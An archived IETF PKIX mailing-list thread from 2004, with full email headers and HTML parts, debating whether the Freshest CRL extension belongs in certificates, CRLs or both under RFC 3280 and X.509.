Of course, both of them are needed Freshest CRL. (Cert and CRL extension)

1.       Using Freshest CRL extension on Certificate, you can find exact URI
to get exact CRL.

2.       Using Freshest CRL extension on CRL (matching on Cert), you can
determine whether this CRL is the correct one among other delta CRLs or not.


 

Because of replace attack of CRL, you should use this extension on both of
them.

This case is very similar to the case of CRL Distribution Point (on Cert)
and Issuing Distribution Point (on CRL).

 

 

  _____  

From: [e-mail] [mailto:[e-mail]] On
Behalf Of Stefan Santesson
Sent: Tuesday, March 30, 2004 7:06 AM
To: [e-mail]
Subject: Freshest CRL

 

Is Freshest CRL supposed to be a Certificate extension or a CRL extension?

I have always believed that it was a CRL extension, as defined in RFC 3280
section 5.2.6:

 

 

5.2.6  Freshest CRL (a.k.a. Delta CRL Distribution Point)

 

   The freshest CRL extension identifies how delta CRL information for this
complete CRL is obtained.

 

 

However,

 

In X.509, this extension is defined a s a certificate extension only in
section 8.6.2.6

 


8.6.2.6     Freshest CRL extension


The freshest CRL extension shall be used only as a certificate extension and
may be used in certificates issued to authorities as well as certificates
issued to users. This field identifies the CRL to which a certificate user
should refer to obtain the freshest revocation information (e.g.: latest
dCRL). This field is defined as follows:

 

 

Which is correct?

 

 

Stefan Santesson

Program Manager, Windows Security

 


------=_NextPart_000_008F_01C41645.1907C2B0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:"Wingdings 2";
	panose-1:5 2 1 2 1 5 7 7 7 7;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h1
	{margin-top:0cm;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:21.25pt;
	margin-bottom:.0001pt;
	text-align:center;
	text-indent:-21.25pt;
	page-break-after:avoid;
	font-size:16.0pt;
	font-family:Arial;}
h2
	{margin-top:0cm;
	margin-right:11.0pt;
	margin-bottom:0cm;
	margin-left:47.35pt;
	margin-bottom:.0001pt;
	text-indent:-47.35pt;
	page-break-after:avoid;
	font-size:14.0pt;
	font-family:Arial;}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-justify:inter-ideograph;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle20
	{font-family:Arial;
	color:windowtext;}
span.EmailStyle22
	{font-family:Gulim;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
 /* List Definitions */
 ol
	{margin-bottom:0cm;}
ul
	{margin-bottom:0cm;}
-->
</style>

</head>

<body lang=3DKO link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>Of =
course,
both of them are needed Freshest CRL. (Cert and CRL =
extension)</span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:38.0pt;text-indent:-18.0pt'><font size=3D2
color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>1.<font size=3D1 face=3D"Times New =
Roman"><span
style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span></font></span></font><font
size=3D2 color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>Using Freshest CRL extension on =
Certificate, you
can find exact URI to get exact CRL.</span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:38.0pt;text-indent:-18.0pt'><font size=3D2
color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>2.<font size=3D1 face=3D"Times New =
Roman"><span
style=3D'font:7.0pt "Times New =
Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span></font></span></font><font
size=3D2 color=3Dnavy face=3D&#44404;&#47548;><span lang=3DEN-US =
style=3D'font-size:10.0pt;
font-family:Gulim;color:navy'>Using Freshest CRL extension on CRL =
(matching on
Cert), you can determine whether this CRL is the correct one among other =
delta CRLs
or not. </span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>&nbsp;</span></fo=
nt></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>Because of =
replace
attack of CRL, you should use this extension on both of =
them.</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>This case is
very similar to the case of CRL Distribution Point (on Cert) and Issuing
Distribution Point (on CRL).</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>&nbsp;</span></fo=
nt></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy =
face=3D&#44404;&#47548;><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Gulim;color:navy'>&nbsp;</span></fo=
nt></p>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span lang=3DEN-US style=3D'font-size:12.0pt'>

<hr size=3D2 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Tahoma;font-weight:bold'>From:</spa=
n></font></b><font
size=3D2 face=3DTahoma><span lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Tahoma'>
[e-mail] [mailto:[e-mail]] =
<b><span
style=3D'font-weight:bold'>On Behalf Of </span></b>Stefan Santesson<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Tuesday, March 30, =
2004 7:06 AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Freshest =
CRL</span></font></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Is Freshest CRL supposed to be a Certificate
extension or a CRL extension?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>I have always believed that it was a CRL =
extension,
as defined in RFC 3280 section 5.2.6:</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>5.2.6&nbsp; Freshest CRL (a.k.a. Delta CRL
Distribution Point)</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;&nbsp; The freshest CRL extension =
identifies
how delta CRL information for this complete CRL is =
obtained.</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><u><font size=3D2 face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>However,</s=
pan></font></u></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>In X.509, this extension is defined a s a =
certificate
extension only in section 8.6.2.6</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<h4><a name=3D"_Toc479042804"></a><a name=3D"_Toc495383879"></a><b><font =
size=3D2
face=3D"Times New Roman"><span lang=3DEN-GB =
style=3D'font-size:10.0pt'>8.6.2.6
&nbsp;&nbsp;&nbsp; Freshest CRL extension</span></font></b></h4>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>The freshest CRL extension shall be used only =
as a
certificate extension and may be used in certificates issued to =
authorities as
well as certificates issued to users. This field identifies the CRL to =
which a
certificate user should refer to obtain the freshest revocation =
information
(e.g.: latest dCRL). This field is defined as follows:</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Which is correct?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-US style=3D'font-size:12.0pt;color:olive'>Stefan =
Santesson</span></font></b></strong></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Program =
Manager, Windows
Security</span></font></p>

</div>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

</div>

</body>

</html>

------=_NextPart_000_008F_01C41645.1907C2B0--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TMfhhs080453; Mon, 29 Mar 2004 14:41:43 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TMfhEu080452; Mon, 29 Mar 2004 14:41:43 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-eur.microsoft.com (mail-eur.microsoft.com [213.199.128.145]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TMffwl080444 for <[e-mail]>; Mon, 29 Mar 2004 14:41:41 -0800 (PST) (envelope-from [e-mail])
Received: from eur-imc-02.europe.corp.microsoft.com ([65.53.196.43]) by mail-eur.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 29 Mar 2004 23:41:27 +0100
Received: from 65.53.196.43 by eur-imc-02.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 29 Mar 2004 23:41:27 +0100
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by eur-imc-02.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 29 Mar 2004 23:41:27 +0100
X-MimeOLE: Produced By Microsoft Exchange V6.5.7195.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-67ed923d-2eb7-4d6a-831c-c1d78120149c"
Subject: RE: Freshest CRL
Date: Mon, 29 Mar 2004 23:41:39 +0100
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Freshest CRL
Thread-Index: AcQV2fVVTMzOtGsQQdG4B+Up+gj0ogABJrgg
From: "Stefan Santesson" <[e-mail]>
To: <[e-mail]>
X-OriginalArrivalTime: 29 Mar 2004 22:41:27.0409 (UTC) FILETIME=[F8C96E10:01C415DE]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPartTM-000-67ed923d-2eb7-4d6a-831c-c1d78120149c
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C415DF.1A48DE6D"

------_=_NextPart_001_01C415DF.1A48DE6D
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Just got a response from David Cooper explaining that X.509 was aligned
with RFC 3280 in this issue by DR 278 and that it is now valid to use
this as both Certificate and CRL extension in both specs.

=20

So no reason to respond to this question any more.

=20

/Stefan

________________________________

From: Stefan Santesson=20
Sent: den 29 mars 2004 14:06
To: [e-mail]
Subject: Freshest CRL

=20

Is Freshest CRL supposed to be a Certificate extension or a CRL
extension?

I have always believed that it was a CRL extension, as defined in RFC
3280 section 5.2.6:

=20

=20

5.2.6  Freshest CRL (a.k.a. Delta CRL Distribution Point)

=20

   The freshest CRL extension identifies how delta CRL information for
this complete CRL is obtained.

=20

=20

However,

=20

In X.509, this extension is defined a s a certificate extension only in
section 8.6.2.6

=20


8.6.2.6     Freshest CRL extension


The freshest CRL extension shall be used only as a certificate extension
and may be used in certificates issued to authorities as well as
certificates issued to users. This field identifies the CRL to which a
certificate user should refer to obtain the freshest revocation
information (e.g.: latest dCRL). This field is defined as follows:

=20

=20

Which is correct?

=20

=20

Stefan Santesson

Program Manager, Windows Security

=20


------_=_NextPart_001_01C415DF.1A48DE6D
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal;
	font-family:Arial;
	color:windowtext;}
span.EmailStyle19
	{mso-style-type:personal-reply;
	font-family:Arial;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DDA link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>Just got a =
response from
David Cooper explaining that X.509 was aligned with RFC 3280 in this =
issue by
DR 278 and that it is now valid to use this as both Certificate and CRL
extension in both specs.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p>=
</span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>So no reason to =
respond
to this question any more.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p>=
</span></font></p>

<div>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-GB =
style=3D'font-size:12.0pt;color:olive'>/Stefan</span></font></b></strong>=
<font
size=3D2 color=3Dblack face=3DArial><span lang=3DEN-GB =
style=3D'font-size:10.0pt;
font-family:Arial;color:black'><o:p></o:p></span></font></p>

</div>

</div>

</div>

<div style=3D'border:none;border-left:solid blue 1.5pt;padding:0cm 0cm =
0cm 4.0pt'>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span lang=3DEN-US style=3D'font-size:12.0pt'>

<hr size=3D2 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Tahoma;font-weight:bold'>From:</spa=
n></font></b><font
size=3D2 face=3DTahoma><span lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Tahoma'>
Stefan Santesson <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> den 29 mars 2004 =
14:06<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Freshest =
CRL</span></font><span
lang=3DEN-US><o:p></o:p></span></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Is Freshest CRL supposed to be a Certificate
extension or a CRL extension?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>I have always believed that it was a CRL =
extension,
as defined in RFC 3280 section 5.2.6:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>5.2.6&nbsp; Freshest CRL (a.k.a. Delta CRL
Distribution Point)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;&nbsp; The freshest CRL extension =
identifies
how delta CRL information for this complete CRL is =
obtained.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><b><u><font size=3D2 face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>However,<o:=
p></o:p></span></font></u></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>In X.509, this extension is defined a s a =
certificate
extension only in section 8.6.2.6<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<h4><a name=3D"_Toc479042804"></a><a name=3D"_Toc495383879"></a><b><font =
size=3D2
face=3D"Times New Roman"><span lang=3DEN-GB =
style=3D'font-size:10.0pt'>8.6.2.6
&nbsp;&nbsp;&nbsp; Freshest CRL extension</span></font></b><span =
lang=3DEN-GB><o:p></o:p></span></h4>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'>The freshest CRL extension shall be used only =
as a
certificate extension and may be used in certificates issued to =
authorities as well
as certificates issued to users. This field identifies the CRL to which =
a
certificate user should refer to obtain the freshest revocation =
information
(e.g.: latest dCRL). This field is defined as =
follows:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'>Which is correct?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<div>

<div>

<p class=3DMsoNormal><strong><b><font size=3D3 color=3Dolive =
face=3D"Times New Roman"><span
lang=3DEN-US style=3D'font-size:12.0pt;color:olive'>Stefan =
Santesson</span></font></b></strong><font
color=3Dblack><span lang=3DEN-US =
style=3D'color:black'><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Program =
Manager, Windows
Security</span></font><font size=3D2 color=3Dblack face=3DArial><span =
lang=3DEN-US
style=3D'font-size:10.0pt;font-family:Arial;color:black'><o:p></o:p></spa=
n></font></p>

</div>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DEN-US
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</div>

</body>

</html>

------_=_NextPart_001_01C415DF.1A48DE6D--

------=_NextPartTM-000-67ed923d-2eb7-4d6a-831c-c1d78120149c--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TM5ZP8077664; Mon, 29 Mar 2004 14:05:35 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2TM5Zpr077663; Mon, 29 Mar 2004 14:05:35 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-eur.microsoft.com (mail-eur.microsoft.com [213.199.128.145]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2TM5XsN077657 for <[e-mail]>; Mon, 29 Mar 2004 14:05:34 -0800 (PST) (envelope-from [e-mail])
Received: from eur-imc-02.europe.corp.microsoft.com ([65.53.196.43]) by mail-eur.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 29 Mar 2004 23:05:25 +0100
Received: from 65.53.196.43 by eur-imc-02.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 29 Mar 2004 23:05:25 +0100
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by eur-imc-02.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 29 Mar 2004 23:05:25 +0100
X-MimeOLE: Produced By Microsoft Exchange V6.5.7195.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-0e232f64-7234-4bb8-b749-b47bdc81e640"
Subject: Freshest CRL
Date: Mon, 29 Mar 2004 23:05:34 +0100
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Freshest CRL
Thread-Index: AcQV2fVVTMzOtGsQQdG4B+Up+gj0og==
From: "Stefan Santesson" <[e-mail]>
To: <[e-mail]>
X-OriginalArrivalTime: 29 Mar 2004 22:05:25.0050 (UTC) FILETIME=[EFEBA1A0:01C415D9]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPartTM-000-0e232f64-7234-4bb8-b749-b47bdc81e640
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C415DA.0AE2F5AD"

------_=_NextPart_001_01C415DA.0AE2F5AD
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Is Freshest CRL supposed to be a Certificate extension or a CRL
extension?

I have always believed that it was a CRL extension, as defined in RFC
3280 section 5.2.6:

=20

=20

5.2.6  Freshest CRL (a.k.a. Delta CRL Distribution Point)

=20

   The freshest CRL extension identifies how delta CRL information for
this complete CRL is obtained.

=20

=20

However,

=20

In X.509, this extension is defined a s a certificate extension only in
section 8.6.2.6

=20


8.6.2.6     Freshest CRL extension


The freshest CRL extension shall be used only as a certificate extension
and may be used in certificates issued to authorities as well as
certificates issued to users. This field identifies the CRL to which a
certificate user should refer to obtain the freshest revocation
information (e.g.: latest dCRL). This field is defined as follows:

=20

=20

Which is correct?

=20

=20

Stefan Santesson

Program Manager, Windows Security

=20


------_=_NextPart_001_01C415DA.0AE2F5AD
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
